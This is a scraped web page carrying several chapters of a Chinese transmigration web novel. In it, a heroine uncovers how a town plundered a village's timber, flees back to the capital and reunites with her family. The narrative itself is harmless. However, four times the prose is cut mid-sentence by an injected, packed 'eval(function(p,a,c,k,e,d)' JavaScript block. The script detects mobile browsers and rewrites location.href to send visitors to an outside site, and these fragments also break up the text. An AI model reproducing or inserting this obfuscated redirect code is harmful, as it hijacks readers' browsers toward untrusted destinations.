知镇道：“多亏了梅村长，才让我们如今能过上这般好日子，镇上仓库里现还存着你们的好松木呢。这口棺便是梅时庄的松木打的，特来送一送村长。” 气得梅画爹吐了口血。 “那些木头不知能进贡多少个年头。偏生他们贪得无厌，不让树好好在天地里长，非要自己砍走私藏，也不怕藏到生虫。”梅画是真不明白，为何偏要做这种害人事。 苏有青脑中全然是认识梅画以来的种种疑虑，此刻似乎都有了解答： “所以你们饿是因为没柴火做饭，又因着缺木材，如今只能拿这树薯当柴烧。” 梅画抽出一支干硬的树薯，望着薯尖上轻涌着的火光，道：“说来，这树薯也是津弓镇的人扔来的。” 起初是催债时，那知镇不愿还钱，便送来一堆树薯：“这可是好东西，用它来抵债还是我们吃亏些呢。” 后来，那知镇仍时常送树薯来，说是见不得邻里乡民挨饿，还要大肆同人夸耀他的这番善举，只字不提从前的事。 梅画又将那截树薯塞回火堆中，道：“说是好东西，可我们也试过拿它与旁的薯一起烤，唯有它是烤不软的。也硬着头皮尝过，但又苦又难嚼，吃了还头晕。” 苏有青看向角落里码齐整的黄色“柴火”，思绪复杂道：“树薯不去掉芯确实发苦，算不得多好的东西。” 她犹记得镇上卖树薯汤的摊贩，指着没煮透的树薯，说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352385|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃不饱饭的人求而不得的好东西”。 真是缺了大德了，将一个村子抢劫到尽无柴火，再恩赐般地扔来最需火候的树薯。苏有青想。 顺着苏有青的视线看向墙角，梅画道：“所以后来我们便另辟蹊径，试着拿它当柴烧了。开始还烧不透呢，后来将它们搁久些，失了水分便好烧了。” 苏有青现在见了树薯便心烦，转而问了旁的话：“除了树薯，你们还有什么可吃的？” 吃食说起来便简单多了。 梅画想了想这几年：“春天多野菜，夏日里能吃上果子；秋冬有柿子，也能熬。从前村里都爱吃些红薯，念着生啃的滋味也不错，可惜有些费腮帮子，晚些时候便吃不动了。” 逢年过节的时候，大家会生上火，凑到一起，一次烤够一大篮的红薯黄薯，再分着喝些热水。旁的时候，火便要省着点烧了。 “虽说烤薯有些费功夫，不过那头的沙地里能有野生黄薯已是万幸，便也不说费不费火候的话了。”梅画笑道。 苏有青根本没能细听完，光是听到前半句话便转不动脑子了。 她小心翼翼地问道：“你们的冬天，难捱吗。” 梅画答道：“其实还可以，到底从前盖房子时犹有些家底，砌墙用的砖都厚实。加之我们在山坳中，四面都有山挡着风，也会暖和些。” 见有青松了口气，梅画又说回了吃食：“你见到的那红果，便是后来光景不大好时，一个西域商人带来的。” 梅画不太记得那是被砍树的第几年了。 有一次，有个西域行商走到了这边，瞧她们日子不大好过，便分了不少吃食给她们，还大方地留下了不少东西。 其中便有种红果子，甜滋滋的又多汁水，当是极好的浆果。 见她们吃着都喜欢，西域商人便多留了几颗果子，说是埋进土里便算种上了。那甜浆果也不挑环境，什么地里都能长。 待那商人离开后，没几个月，从地里钻出的绿株上便真冒了红果，压得枝条低低的。 可再一尝，新长出的果子却是极酸之味。庄里人无从下口，便不再管那红果子，任它自行长去了。 梅画哂笑道：“那西域商人确是个好心人，只是不知她是否弄混了红果，给我们留成了旁的酸果子。” 再后来，一向雨水充足的梅时庄突然大旱了两年，过去遍地的野菜也寻不见，庄里一时没了能入口的东西。 饿得走不出庄子的梅画无法，便试着去吃地里仅剩的红果，扯下了一株绿茎。 不知是不是太久没吃到有滋味的东西，她竟从这串果子里尝出了甜味，仿佛正是当初从商人那里尝到的味道。 一时激动，梅画又扯过另一株，摘下好几个果子便一口塞进嘴里。这次却还是那股激酸。 且因一次塞了太多，酸果汁在她嘴中炸开。果子吐不出又咽不下，被酸果汁呛到的梅画从此便伤了声音。 “虽说是外乡来的酸果害了嗓子，但我们还是很感恩那西域商人。她是如你一般心善的人。”梅画又一次说道。 苏有青仍挂念着这些日子里被她烧掉的树薯，心中暗念道，也不知自己是否担得起这句“心善”。 她隐约觉得自己反坏了事，想帮人，却又不先问过旁人究竟需要什么。 不知该说些什么，苏有青只好顾左右而言它道：“前几日仿佛下过一场大雨。” 说尽往事后，梅画笑得释然：“那日是个难得的雨天，庄子里因此冒出了不少野菜。也恰好是我碰到你们几个好心人的那一日。” 随即，她感慨道：“过去庄子里从未这么旱过，也不知这几年是怎么了，真是‘屋漏偏逢连夜雨’。” 一句话毕，梅画又逗乐了自己：“若真是‘连夜雨’倒还好些。” 苏有青心想，哪来的“偏逢”，分明是人祸。 梅时庄的人吃不上一口热饭，一是缺柴火，二是天干长不出菜。 前者是因着津弓镇的人抢走了木材，而后者，也未尝不是伐完树的结果。 见苏有青满脸的心思，梅画便轻松道：“虽说眼下不大能吃饱饭，能凑到一起说说话也是好的。像小梅也懂事，平日里从不准我让红薯给她吃。” 苏有青脑子里早不知在想哪朵云了，便随口答道：“真乖啊。小梅今年多大了？” “今年，七个年头吧。她亲妈死得早，算是整个村一起养大的。”梅画道。 年岁有些出乎苏有青的预料。 再一算，那便是生下来没多久，津弓镇的人便过来抢树了。 23. 煎黄薯（一） 苏有青抿了抿唇，片刻纠结后还是问出了口：“那，庄子上头的县城州之类也不管你们吗？或者能不能想个法子揭穿那知镇的人面兽心？” “都想过的。”梅画道，“可消息哪里传得出去。” 尚只是欠债未还时，梅时庄的人念着津弓镇也是为了交差，便忍着没往上闹。 她们原以为，松木钱财之事不过是乡邻间的小争执，没必要直接揭露进贡的檀木为假、闹到有人掉脑袋的地步。 后来，那知镇不再装模作样，算是与梅时庄人直接撕破了脸，庄里人自不会再多包涵，四处寻着能走通的路。 可是为时已晚了。 为了要回那笔债，庄里几个精干的姑娘提出越过津弓镇，直接去找上头的县令，或是县城里更大的官。 临到出行前，几人还同村长一起讨论了个说辞，想着不好将事情搅到难收场的局面，只需同县令说“那知镇欠了她们买柴火的钱”便是。 未曾想，何止见不到县令的面，她们根本就没能踏入县城的地界。 方路过津弓镇时，有所准备的知镇便拦下了梅时庄几人，言笑晏晏地将她们“请”了回去。 庄里人那时虽是回了村，却并不准备姑息，只是不想再与镇上的笑面虎周旋，懒得白费口舌功夫。 没两日，便又有几个更为强健的人准备踏上行程。 庄里人都怀着需讨要出个说法的心思，连着“不蒸馒头争口气”的念头，就算自己拿不回钱，也要叫那知镇栽个跟头。若是县城不管，那便直接去京城。 庄里上下一心，就连没什么拳脚的人，也给将欲行的同庄邻里塞了不少银两与干粮。 “我们庄子在南边，津弓镇本是往县城去的必经之路。既知他们在悉心看管，我们庄的人便绕远了些，走那无人的郊野路，兜圈进县城。” “谁知又有旁的旅人在镇上多嘴，说去野地里捡檀树枝时，瞧见有一队人在整休，便又叫知镇生了警惕。最后那知镇带了好些人马，直接将我们庄的人围困在林子里，绑着绳索押回了庄子。” “便是那一次，津弓镇的人匆忙砍走了最后的松木，还扬言道，即便我们派人去京城报官也没用，京城里多的是他们认识的大官，不会搭理我们的。”梅画说出了最后一段往事。 如今再忆起幼时的满腔热血，梅画已只剩苦笑：“我那时年纪不大，存了闯过津弓镇的念头，却碍于年岁，不被大人允许。我便又生了旁的法子，将自己攒下的零花碎银塞给邻家姐姐，鼓动她出去报官。后来，那姐姐干脆没能回来。” “那她去哪儿了？”苏有青问。 梅画道：“不知道。那时的推搡太混乱，连被逮到的姨叔们都是回来后才知晓她不在庄里的。不过结果也都那样，好一点就饿死路边，差一点便被谁乱棍打死了。” “原是怪我。她其实与我差不多的年岁，不过是家中没了亲长，又被我怂恿，才悄悄混进那出庄的队伍中的。”梅画喃喃道。 “再往后，村子又渐饿死些人，便真没个出路了。津弓镇那边又一直严防死守，既守着游人行走的路，也防着口耳相传的径，一直对外称这边是块死地。这几年里，除了你与那西域商人，我们庄便再没来过生人了。” - 大半日里听完梅时庄的过去几年，苏有青出了一身冷汗。 津弓镇的进贡名头原是这么一回事，可背后的故事在原书中并未被提及分毫。 初见梅画时，她虽有些被那披头散发的模样惊到，却没作多想，只是怀了去关照两句的念头。 因为苏有青自认是现代来的读者。虽一朝上了戏中人的身，好在她提前看过剧本。 而按书中所言，姬朝早已是天下大同，即便人们言语间有些磕绊，也并无真的坏了心思的人。 比如苏诣的仕途，虽遇过不少政敌，但说到底却都是一心为民的人，只是观念不同而已。 当时便有不少读者感慨，说这姬朝果然是小说里才有的世界。 也因此，看出梅画的纤弱后，苏有青直接大胆地跟去了荒无人烟的方向，正如她在城郊半道时随性地喊下快刀，信赖的不过是这本书中没半个黑心人。 同路走了这么久，苏有青现下确知快刀对她的保护不假。今日突然听到“津弓镇”这么个原书中满是赞扬的地方，背后竟藏满了污糟，她不得不对往后的人与事生些警惕。 苏有青不知是作者也只知表象，还是有人刻意瞒住了真相。 但不论是哪一种，都是她之前未曾设想过的。 再回想过这几月间的莽撞，苏有青自觉能一路平安真是万幸。 自到了姬朝以来，她对眼见的各路“设定”都接受得很好。有些事虽与苏有青的预期不同，但她结合通读过的原书再一分析，便又仿佛是顺其自然的剧情了。 若是一定要找出个稍有突兀的情节，在今日之前，苏有青本觉得是穿书的原因。 除了像旁的小说那般，“穿越”源于她与原主同名的巧合，苏有青再想不出旁的缘由。 不过身到此地已成定局，苏有青便没的多纠结。 至少原主苏有肴是个家中和睦生活圆满的，而在苏有青原本的世界，她平日里本没有这么多可以一起说笑的人。 言而总之，姬朝的日子起先看似顺遂，与书中写的那个理想社会并无差别。再加上脑子里多出的原主的记忆，苏有青便认定她确是穿了书。 可生活中的所见所闻似乎并非毫无纰漏，只是苏有青对“姬朝”的认识先入为主，再见奇怪之处时，她便在心中替人找补出了合理的因由。 而非先过问一句，眼见的是否真切。 前几月里，苏有青一直自认是个运筹帷幄的局外人。 如今坐在梅时庄中，她觉得有什么地方出了差错。 但梅画就在眼前，即便一方的说辞不能全信，那面黄肌瘦的模样也是不能作假的。 那么，差错是在哪里呢。苏有青有些想不出了。 脑子里又乱又杂，苏有青思绪翻飞地上了马，差点没听到梅画同她作别的声音。 方才设想时笃定，一转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359259|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，苏有青又忍不住问快刀道：“你确实是被派来保护我的？不会半夜又突然溜进我房中给我一刀吧？” 快刀先是哭笑不得，又一时心急，反倒说不明白辩解的话了。 相处已有月余，苏有青自是明白快刀对她与包菜都不赖。只是苏有青回想时带些心有余悸，便多问一嘴，瞧见快刀那急切模样也就多了分安心。 又盘算着后面待做的事，苏有青思忖道：“梅画倒提醒了我，再过些日子便是需回京的时候了。趁我们还在镇上住着，这些日子可得给她们多送些东西。还有，再在镇上逛时，可得心思活络些，看能不能找出那知镇作恶的证据。” 话至后半，她又低声道：“若是真能发现些什么，再直接带回城交给苏诣与二皇子便最好了。” 再一转念，苏有青又琢磨起了苏诣那头的事。按在书中的节奏，苏诣这会子应当与二皇子打过几次交道了。 那便更妥，苏有青想。 苏诣是她胞姐，二皇子则是快刀的主子。恰巧梅时庄与津弓镇的龃龉有她与快刀亲见，那二位许会更重视些。 想到这里，苏有青突然想起什么，又唤快刀道：“津弓镇的人自称认识京城的大官员，也不知是吹牛还是真话。我们还是小心些，别打草惊蛇。你切记，回京城后，这里的见闻不得告诉你主子以外的第三人。” 快刀一口应下，说完却又“嘶”了一声：“我明白姑娘意思，自不会多言。不过待我告诉主子后，主子也定是要去找二皇子殿下商议的。” “也是，那可是二皇子。”苏有青答得轻巧，下一刻却惊得一拉缰绳，“找二皇子商议？你主子不是二皇子？” 马儿被拽得忽停了脚，苏有青看起来差点栽马背下去。 瞧见眼前人的反应，快刀后知后觉地记起了一件......小事。 二人初打照面时，苏有青嘴皮子太利索，快刀听得接不上话。 为了强留一丝京城头等杀手的颜面，她便说了几句半真不假的话。 眼下她与苏有青也算得上熟络，快刀便犹豫着解释道：“也不能说不是。我原是跟着二皇子的，后来二皇子指了我去护着三皇子，所以二位殿下都是我的主子。” 苏有青小心翼翼地问道：“那是谁让你来跟着我的？” “是三皇子殿下。”快刀说得很骄傲。 若不是需得商议后事，她本不会在此时多嘴。那自己也算是成功地没让主子被发现，快刀想。 青天白日里，苏有青又一次被震到毫无头绪。 怎会是三皇子？ 不是，书里那三皇子同苏有肴也并无交涉啊？二人顶了天能互相知晓姓名。 苏有青一股脑记起了之前的好几处岔子，只是那时候没当回事。 这到底是哪门子破书，总不能是她看到盗版了吧。苏有青有苦难言，假戏本还不如没戏本呢。 再回客栈，苏有青细细理过思绪，按着返程的时候定好了晚些时候要做的事。 又不料，前脚做好的筹划，第二日便都被打乱了。 24. 煎黄薯（二） 苏有青原本算得井井有条，这些日子要紧着能放得久的吃食送，若能捎些柴火过去也极好；还要再同梅画多问几句，看能不能寻出什么知镇的马脚。 怀着这些念头，苏有青草草记过几笔梅时庄的事，便着手列起后几日的计划。写得烦躁时，她将废了的书写纸撕得直作响。 熬至深夜，苏有青已有些头晕眼花。来不及等墨迹晾干，她胡乱叠起桌上的纸张，匆匆塞进衣襟里便和衣睡去了。 再至白天，包菜前一夜里听见了碎纸声与烛花噼里啪啦的响，心知主子睡得晚，便不扰她休息。 于是苏有青是被窗外的热闹声叫醒的。 睡眼惺忪间，她喊来包菜：“外头怎么这么吵？今日也不是开市集的日子。” 包菜还真有所耳闻：“早些时候我听到掌柜的同楼下客人说，今日有京城的贵客要来。这会子估计是在做些准备吧。” 苏有青蹙眉。昨日才听梅画提及，津弓镇与京城间或有联系，怎的今日便有贵客来了。 下了楼，掌柜的招呼道：“吃了吗姑娘。” 苏有青道：“正要出去寻些吃食呢。我怎么瞧今儿这街上格外热闹？” 掌柜的笑得神秘，招招手示意苏有青伸耳朵过来。 她掩口道：“这些日子我与你相熟，这才悄悄告诉你，你可千万不能告诉旁人。有京城的大官要光临我们津弓镇了呢。” 苏有青登时绷紧了警惕的心思，却强装作惊喜的游人道：“大官员怎的突然来了这里？” 掌柜的先是“啧”了一声：“你这丫头，问的叫什么话。我们津弓镇人杰地灵，有大官员来不是很正常？” 随即，她又压低声音道：“不过实话告诉你，那大官员确不是来观光的。说是咱们镇子上有人带了毒虫来，知镇怕要影响树种，便请那官员帮忙查看一二。” “原是这样。”苏有青一脸的恍然大悟。 心中的一口气却仍吊得不上不下。 好消息，那官员似是为着正事来的，面上与梅时庄无关。 坏消息，是那知镇给出的由头、请来的人，不知有几分可信。 “那你先忙，我出去走走。”怕面色显出怪异，苏有青匆忙撂下句话，便拉着包菜出了客栈。 走到街上，包菜随口道：“也不知所谓的大官是谁。” 苏有青故作无谓道：“任来人是谁，左右我也不认识什么高官。走吧，先去寻些吃喝，晚点再去民居边看看。” 几人便又去了这些日子常吃的一个小摊，点了惯例的几道吃食。 然而板凳还没坐热，包菜正说着逗趣话，苏有青突然支起手撑着头，还侧过身紧盯着一边的墙。 “小姐在看什么？”包菜也顺着她的视线看去。 “没看什么。”苏有青道，“不然我们还是回客栈吃吧。” 尚在街边，苏有青没多解释，心中却只剩苦笑。 她怀疑自己又被上天戏耍了，否则怎会前脚说不认识那京城高官、转头便看见个方非。 他也能算个官？ 躲着方才的过路人，苏有青一行回了客栈，问掌柜的这会子有哪些菜。 掌柜的却诧异道：“姑娘出门一趟怎的没吃上饭。可真不巧，咱们家厨司到旁的酒楼帮忙去了。那边需接待高官的晚饭，不少厨司都过去搭把手了。” 苏有青腹诽，排场可真够大的。这才正午的功夫，竟就要那么多厨司去准备下一顿饭。 “不过......”掌柜的又道，“姑娘若是会些烹炒，倒可以随意用我们后厨的灶具。可惜我不太会做，便只能提供个场地了。” “真是谢过掌柜的了。”苏有青赶忙作揖。 领着几人往厨下走，掌柜的道：“便是这里。菜都有现成的，想吃什么直接拿便是，锅碗瓢盆也是随便用。柴火在灶口边堆着，我先帮你生起火？” “不必，我先看看。”苏有青打量着这间膳房，常用的物什一应俱全。 她便客套道：“你们家膳房真不小，平日里生意不错吧。” 掌柜的笑：“是说呢。瞧姑娘住的这些日子，咱们客栈的人是换了一波又一波，房间却少有空的时候。” 掌柜的提前拿了几根柴火塞进灶台，道：“若非今日特殊，平时这会子，厨司都在后厨将炒勺抡出火星呢，根本忙不开。幸得咱们镇的百姓官人好，像柴火这些客栈用得多的东西，他们直接挨家挨户地送上门，说是咱们这些做打尖住店生意的都忙，想来也没空去拾柴火。” 掌柜的说说笑笑，不想屋子里却陷入了沉默。 怕是她在这里使得三人放不开手脚，掌柜的便道：“那你们做，我先去前头看店了。” 送走掌柜的，苏有青默默翻看膳房备下的菜，又抬头问二人：“你们想吃什么？” 包菜咂咂嘴，道：“方才没吃上的煎黄薯，小姐会做吗？” “好说。”苏有青一口答下，又问快刀，“你呢？” 快刀本就不挑嘴，道：“姑娘看做什么方便便好。” 苏有青便先挑出稍小些的黄薯，洗净后丢进蒸笼中，才去看旁的菜。 津弓镇称的黄薯，便是后来的土豆。苏有青过去也常吃过煎黄薯，虽未亲手试过，倒也能吃明白这菜是如何做出的。 小黄薯蒸软后，她在这头剥皮，又唤包菜去烧火。 待锅中油热，苏有青将黄薯轻放进锅中，找来个平勺，边煎黄薯边将它按扁。逐个耐心压平后，再等黄薯被煎出两层焦脆外壳，便能出锅了。 再炒出两盘快手菜，苏有青道：“快刀，盛三碗饭来。我们不坐厅堂，端楼上房里吃去。” 饭菜端至楼上，苏有青先去开窗散味，心念这次总不能再被谁看见。 再回桌边坐下时，包菜深吸一口气，道：“小姐这菜做得可比方才那摊贩香多了。说实话，这些日子我早吃腻了那些蒸薯烤薯，没想到经小姐的手一过，这黄薯还能这么香。” 苏有青好笑：“吃腻了还点这煎黄薯？可惜这边缺些配菜，不然更香呢。好了，快趁热吃吧，都这个点了。” 包菜“嘿嘿”两声，便扒起了饭，没两口却又有些噎着。 “也不用吃这么快啊。”苏有青赶忙拍了两下背。 快刀也起身，去拿吃饭前前搁到窗边方几上的茶壶。 “饿急了是吧。”她本在笑，随意瞥向窗外后却冷了脸，又轻手轻脚地掩上了窗。 见快刀表情奇怪，苏有青接过茶壶，问道：“怎么了？” 快刀道：“我好像瞧见那京城官员了。” 苏有青也靠去墙边，从窗缝中往外瞄，见到方非跟在一人后头，走得昂首挺胸。 楼下似还有人窃窃私语：“这便是那京城来的贵客？” 回到桌边坐下，苏有青低声问：“你认识？” 快刀点头：“认识，是陶湖典。” 名字倒是耳熟。然而细想之前，苏有青先问道：“那他认识你吗？” 快刀答：“不认识。我是暗卫，旁人一向见不到我的脸。” 苏有青放下一截心来，快刀又道：“他身后那位看着也不似个普通仆从，只是我不认识。” 苏有青道：“那真是巧了，我认识后面那个。” 只是不成想，方非如今跟着的竟是陶湖典。 陶湖典，算是个高位重臣。不同于朝中旁的站队臣子，陶湖典既不喜立大皇子为太子，也不是支持二皇子的态度。 相比于论谁为太子，他更希冀今上能活过万岁。也因不愿卷入派系之争，陶湖典在朝中并无几位至交，只与皇帝最亲近的国师交好。 换言之，陶湖典有时算得上是苏诣的政敌。而后却有读者指出，既苏诣也同国师要好，那陶湖典同苏诣或是相爱相杀。 方非如今跟着陶湖典，不再掺和皇子即位的事，倒是比书中干的那些缺德事强。 苏有青回忆起不知真假的原书剧情。 同苏诣与陶湖典都交好的国师俗名李皎，本是京郊道观里的一个小坤道。有年春日，带她的坤道一时事多，李皎便在独自玩耍时胡乱走错路，出了道观后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364516|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰上了在京郊踏青的苏诣。 彼时的苏诣也初出茅庐，尚在喜欢四处投喂问评价的年纪，便往李皎怀里直塞自己做的糕点。待到大坤道来寻人时，李皎的肚子已塞得圆鼓鼓的。 因有年幼时的这番交情，后来两人在宫中相遇后便一直互相帮衬着。 想到这里，苏有青便要去翻昨夜列下的思绪，想提笔再补上两句，好叫日后分析时，别忘了京中官员的斗争之事。 可她却没找到昨晚写下的与梅时庄有关的那些记录。 对着包袱发愣时，包菜过来道：“小姐要找什么，我帮你。” 探头一看，苏有青拿着一沓散开的纸，上面记着一路尝过的吃食，还注明了厨司说的或是苏有青猜测的做法。 看到这些笔墨，包菜道：“原来小姐都记着呢。” 苏有青嘴上应着：“当然了，都说过回去要做给娘与姐姐尝的。” 脑中却是一片空白。 这包袱仿佛被人翻看过，手上的菜谱也比她惯用的折法多出了几道痕。 来不及多想，苏有青心急地同快刀吩咐道： “陶湖典身后的方非认识我，若多生事端还需再解释一二，我便不好再出去行走。” “你马上跑一趟梅时庄，虽现下手头没多少可捎的东西，却需同梅画带句话。你告诉她，我们近来有事，一时半会儿不能再去梅时庄，让她好生照看好自己与小梅。” “是。”快刀先是领命，却又不解，“不过虽是认识，他们也有要事在身，应当不会轻易攀扯到姑娘。” 苏有青没多说：“你照办便是。小心行事，千万别被人跟了。” 晨起时的包袱还不这样，而包菜和快刀又一直与她同行。那这包袱会是何人翻看的。 苏有青已心乱如麻，匆忙间从衣襟里摸到昨晚留下的纸张，才吐出一口长气。 “是，我绕着些走。”快刀道。 苏有青又转向了包菜：“包菜，你再去补些路上要吃的干粮。待快刀这一趟跑回来，我们便回京。” “这么突然？”包菜有些诧异。 “对，你也避着些那两人，也不知方非可记得你。”苏有青脑子尚混乱，一时想不明白太多的事，但不愿同“京中大官”打照面的念头却是笃定。 - 月上树梢时，快刀回来了。 四下里已静谧，快刀便压低声音道：“梅姑娘像是意料之中。” 苏有青奇怪：“怎么说？” 快刀道：“我复述了姑娘的话，梅姑娘很是平静，说‘是有什么人去津弓镇了吧’。” “她怎么知道？”苏有青问。 快刀也是如此态度：“你并不意外？” 梅画没答多的，只是说：“放心走吧，我并未见过你们。你们也切要万事小心，有青姑娘往后可不好一直如此善心了。” “行，我知道了。快去休息吧，我们天亮前就出发。”听过快刀的转述后，苏有青道。 快刀便要离开，转身时，肩上的水滴飞落到苏有青的脸上。 苏有青问：“下雨了？” 快刀道：“方到梅时庄时下了些小雨，不过进镇子的时候便已停了。” - 又过几个时辰，苏有青三人轻手轻脚地出了客栈。 牵马走过津弓镇口的百年巨木，她们才甩起缰绳，在未散的月光下往北边奔去。 - 掌柜的今日一整个白天都没见到楼上的姑娘。 那姑娘已在她家客栈住了一月有余，每日都会同随行的二人一起出门逛逛。 怕是生了病，又或有旁的事，掌柜的便上楼敲门：“姑娘，我给你泡了壶茶水。” 没敲两下，门却自己开了。 掌柜的一看，这屋里哪有人，只有桌上留着些硬疙瘩，下面还压了一张字条： 【家中突有急事，候不到白日里同掌柜的告辞了。近来多些款待，日后再会。】 “这姑娘。”看过字条，掌柜的又掂了掂那荷包，“留这么多作甚。” 25. 药膳鸡 回城路上，苏有青没再多耽搁，只七日便进了京。 踩着立秋的尾巴到苏府时，门口的小厮很是惊喜，连忙唤人通传主君，又迎上来接过二小姐与包菜手中的物什。 苏有青转身同快刀道：“我现已到家，你也快些回去休息吧。” 快刀前脚方离开苏府的地，苏火阳便赶了出来：“真是你回来了？方才小厮来报，我还以为是他瞧岔了。” 苏有青嘻笑两句，苏火阳又道：“脚步竟这么快。我昨日方收到你的信，说要再玩几日才回程呢。” 苏有青想起那封信，笑得满是无奈。 那信还是认识梅画后的几日里寄出的。当时她念着还需住上一阵，也好多同梅画问些往事，便说要多玩些日子。 只是不料，后来的事端就由不得她了。 眼下还不想多说，苏有青便道：“玩久了也累，这不就赶回家了。” “那便快进去，还在门口待着做什么。”说罢，苏火阳便拥着苏有青往里走。 苏火阳的温度覆上来时，苏有青心念，虽不知那小说情节的真与假，家人却都是真切的。 她现在不知哪些人可信，再有话想说时，或只能说给苏火阳与苏诣听。 苏有青想，还算幸运。 至少还有苏诣这个姐姐，是靠谱的原书主角。 拉着苏有青至堂屋中坐下，苏火阳吩咐道：“快去把后厨的瓦罐端来。” 下人奉命离开，苏火阳又同苏有青道：“你也是赶上了趟，厨下还煨着药膳鸡呢。平时这个点可没饭菜了。” 望了眼将暗的天色，苏有青笑道：“娘怎知我便是特意闻着这香味回家的。” 许久未见，苏火阳本有不少话想说，却被荔枝端来的汤罐打断了思绪。 她拿起汤勺，撇开一堆苏有青不认识的根须，小心地往碗中舀着汤与腿，嘴上还不住道：“虽说天还热，却也过了立秋，可不好再像之前那般贪凉了，要喝些暖热的。” 将那碗黄澄澄的药膳鸡搁到苏有青面前，苏火阳又问荔枝：“大小姐到家了吗？” “刚好到呢。”答话的声音却不是荔枝。 说着话，同样刚归家的苏诣解下披风、递给荔枝，又从椅子后搂住苏有青，打趣道：“我便说门口的马车又熟悉又眼生的。终于舍得回来了？像是清瘦了不少。” 苏火阳手快，又捞出一碗鸡腿放下，同苏诣说：“你也一样，忙到这会子才舍得回来。” 苏有青侧头问道：“御膳房竟需忙到这个钟点？” 苏火阳的笑里满是骄傲：“你姐姐这般能人，可早就不在御膳房咯，天天忙得不着家。” 遭不住这般调侃话，苏诣老实了，放开苏有青后又在她身边坐下。 “那现下在哪里？”解了禁锢，苏有青端起碗，吹开表层的油花，随口问道。 苏诣也端起汤碗，轻描淡写道：“现在是皇子府上的厨司。” 随即，她又紧着岔开话头：“这汤好香。” 但苏火阳可不放过，又将那话接回来，同苏有青道：“便算是二皇子的幕僚了。” “太厉害了。”苏有青很是惊喜，没想到苏诣会升得这么快。 苏火阳道：“那是。你可不知道，你走了没两日，她就解决了一个大问题。” 苏诣无奈打断道：“好了娘，快让妹妹先喝汤吧。” “对对。”苏火阳总算作罢，又道，“你们俩可小心吹温了再喝。这汤看着没冒热气，全靠上面那层油闷着，下面是滚烫的呢。” 自汤罐方端上桌时，苏有青便被这锅汤的鲜香分走了一半心神。闲聊几句过后，这汤刚好到了最适宜入口的时候。 汤水的油香味与苏有青闻出的味道没差，药膳味却很淡，喝不出种类，只能尝到股草本气，与汤味交融到了一处。 苏有青方拿起筷子，苏火阳便道：“今早去郊外农户家里买的溜达鸡，快尝尝。” “去京郊那庄子买的？”苏诣咽下汤水，随口问道。 苏火阳道：“是。” 苏有青好奇了：“有什么说道吗？” 苏火阳答：“也没什么，只是庄里有户老人家日子不太好过，便去他家买，勉强算是照应。” 苏有青“噢”了一声，默默咬了口鸡腿。 她心念，似乎又是书中没提及过的情节。看来这些日子里，京城或也生了些事。 苏火阳所言不虚，一口下去，苏有青便嚼出了紧实的肉感，贴骨肉更是喷香。 再搭上苏火阳的手艺，这锅肉软烂适中，不会难咬，却也没烂到容易发腻的程度。 苏有青如实夸出口后，苏火阳笑眯了眼：“爱吃便好。” 苏诣闻言又道：“这一趟玩得怎么样？尝了不少异乡美味吧。” 刚好一碗见底，苏有青擦擦嘴，答道：“是呢。不仅好吃的多，别的见闻也多，聊到天明都不知能不能说得完。” 苏火阳干脆打断二人：“既如此，便别急着现下就聊了，日子还长呢。” 她又同苏有青道：“来回跑这一趟也不轻松，我去唤人烧水，你待会儿先沐浴一番，再好生休息一夜。” 这趟行程确实跑得身心俱疲，苏有青便依言先回小院休息。 休息了两日、脑子也空泛了两日后，苏有青终于理清路上的所见所思，便欲找苏诣商讨一番。 这日又正巧赶上休沐，二皇子无事，苏诣便也得了闲，难得有个在家待着的白日。 苏有青进到苏诣的院落时，她正在树下的躺椅上吃着梨。 “姐姐在想什么？”苏有青走过来道。 “什么都没想。”苏诣直起身，将手边切好的一盘梨块递给苏有青，继续道，“什么正经事都不愿再想了。天天看二皇子殿下需处理的要事，看得人头都大了。难得有个休沐日子，我只想躺着望天。” 如此一来，她岂不是给姐姐添上堵了。苏有青暗想到。 于是本欲长驱直入的苏有青眼珠子一转，起了个八百里外的话头：“我来闲聊的，同你说说我路上尝过和看过的东西。” “那再好不过了。”苏诣道，“我便当作是同你一道，神游去玩的。” 聊过交耳城见闻后，梨块也已吃完， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383429|198329||http|test|mini|href|location''.split(''|''),0,{})); () { 